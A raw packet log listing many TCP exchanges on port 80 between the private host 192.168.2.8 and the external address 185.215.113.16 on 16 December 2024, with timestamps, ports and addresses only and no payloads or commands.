Dec 16, 2024 13:16:30.616338968 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.616410017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.616449118 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.617271900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.617316008 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.617343903 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.617372990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.618269920 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.618319988 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.618351936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.618390083 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.619242907 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.619277954 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.619410038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.619450092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.620280981 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.620321035 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.620346069 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.620383978 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.621171951 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.621222019 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.621232033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.621267080 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.622076035 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.622121096 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.622256041 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.622291088 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.623044014 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.623080969 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.623158932 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.623202085 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.624013901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.624054909 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.624114990 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.624149084 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.624979973 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.625021935 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.625097036 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.625135899 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.625971079 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.626012087 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.626169920 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.626209974 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.626899004 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.626939058 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.627062082 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.627095938 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.627916098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.627960920 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.627995968 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.628029108 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.628880024 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.628921986 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.628958941 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.628993034 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.629863024 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.629908085 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.629961014 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.629992962 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.630759001 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.630796909 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.630881071 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.630914927 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.631737947 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.631778955 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.631866932 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.631900072 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.632715940 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.632754087 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.632837057 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.632879019 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.633721113 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.633759975 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.633822918 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.633862019 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.634809971 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.634846926 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.634884119 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.634917974 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.635786057 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.635823011 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.635862112 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.635896921 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.636569023 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.636610985 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.636674881 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.636713982 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.637527943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.637563944 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.637625933 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.637660980 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.638557911 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.638600111 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.780186892 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.780206919 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.780282021 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.780407906 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.780452013 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.780574083 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.780616045 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.781363010 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.781407118 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.781506062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.781543970 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.782303095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.782349110 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.782419920 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.782460928 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.783297062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.783340931 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.783381939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.783421040 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.784292936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.784336090 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.784348965 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.784387112 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.785248041 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.785295963 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.785366058 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.785403967 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.786314011 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.786360979 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.786431074 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.786469936 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.787249088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.787293911 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.787303925 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.787343025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.788158894 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.788203955 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.788223982 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.788265944 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.789128065 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.789185047 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.789238930 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.789278030 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.790071964 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.790117025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.790128946 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.790167093 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.791028976 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.791075945 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.791146994 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.791186094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.792005062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.792051077 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.792124987 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.792162895 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.792962074 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.793004036 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.793068886 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.793107986 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.793940067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.793981075 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.794116020 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.794154882 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.794893980 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.794938087 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.794982910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.795020103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.795869112 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.795913935 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.795953035 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.795991898 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.796787977 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.796833992 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.796911955 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.796950102 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.797782898 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.797828913 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.797941923 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.797981977 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.798743963 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.798788071 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.798849106 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.798887014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.799755096 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.799798965 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.799876928 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.799913883 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.800690889 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.800734043 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.800797939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.800837040 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.801662922 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.801709890 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.801774979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.801812887 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.802608013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.802655935 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.802777052 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.802815914 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.803569078 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.803608894 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.803667068 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.803705931 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.804569960 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.804614067 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.804673910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.804712057 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.805514097 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.805557966 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.805622101 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.805660963 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.806462049 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.806507111 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.806572914 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.806612015 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.807533979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.807545900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.807578087 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.808438063 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.808490038 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.808528900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.808567047 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.809374094 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.809413910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.809473038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.809509993 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.810337067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.810381889 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.810441017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.810477972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.811286926 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.811327934 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.811391115 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.811429024 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.812282085 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.812326908 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.812354088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.812390089 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.813239098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.813283920 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.813395023 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.813433886 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.814203024 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.814245939 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.814285994 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.814322948 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.815215111 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.815260887 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.815387964 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.815427065 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.816138029 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.816179991 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.816242933 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.816282988 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.817101002 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.817147017 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.817199945 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.817238092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.818052053 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.818094015 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.818131924 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.818170071 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.819055080 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.819098949 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.819212914 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.819251060 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.820007086 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.820050001 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.820132017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.820169926 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.821067095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.821111917 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.821163893 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.821201086 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.821903944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.821945906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.822041035 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.822078943 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.822918892 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.822961092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.823044062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.823081017 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.823863029 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.823906898 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.823942900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.823978901 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.824866056 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.824907064 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.824975967 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.825014114 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.825860977 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.825916052 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.825956106 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.825995922 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.826764107 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.826813936 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.826838017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.826877117 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.827795982 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.827843904 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.827864885 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.827898979 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.828834057 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.828882933 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.828977108 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.829015970 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.829663038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.829709053 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.829777956 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.829816103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.830595016 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.830641985 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.972328901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.972342014 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.972794056 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.972867012 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.972929001 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.972966909 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.973767042 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.974020004 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.974030972 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.974096060 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.975152969 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.975163937 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.975229025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.976196051 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.976207972 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.976288080 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.976807117 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.976907015 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.976974964 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.978502989 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.978513002 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.978555918 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.978794098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.978835106 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.979015112 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.979054928 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.979878902 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.979890108 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.979922056 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.980968952 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.980978966 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.981018066 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.981720924 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.981770039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.981802940 CET	80	49746	185.215.113.16	192.168.2.8
